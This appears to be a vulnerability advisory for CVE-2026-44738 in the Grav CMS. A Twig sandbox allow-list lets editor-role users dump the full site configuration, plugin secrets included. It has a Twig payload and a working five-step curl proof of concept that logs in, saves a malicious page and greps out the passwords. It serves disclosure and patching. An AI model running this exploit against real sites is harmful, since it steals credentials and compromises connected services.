Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()
The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.
The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:
```yaml
methods: 'get, toarray, value, default, offsetget, offsetexists'
```
The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):
```php
$twig_vars = [..., 'config' => $config, ...]
```
Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:
```
{{ config.toArray()|json_encode|raw }}
```
When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.
```bash
# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
| grep -oP '(?<=name="login-nonce" value=")[^"]+')
# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
-X POST http://TARGET/admin \
--data-urlencode "data[username]=EDITOR_USER" \
--data-urlencode "data[password]=EDITOR_PASS" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}" -o /dev/null
# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
| grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)
# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
-X POST http://TARGET/admin/pages/poc \
--data-urlencode "admin-nonce=${ADMIN_NONCE}" \
--data-urlencode "task=save" \
--data-urlencode "data[frontmatter]=title: poc
process:
twig: true
published: true" \
--data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
--data-urlencode "data[folder]=poc" \
--data-urlencode "data[route]=/" \
--data-urlencode "data[name]=default" -o /dev/null
# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'
```
Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CVE-2026-44738 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.
CVE-2026-44738 is recorded against 2 packages.
Published on 13 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-200: Exposure of Sensitive Information) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| getgrav/grav | — | 2.0.0-rc.2 |
| grav | — | — |
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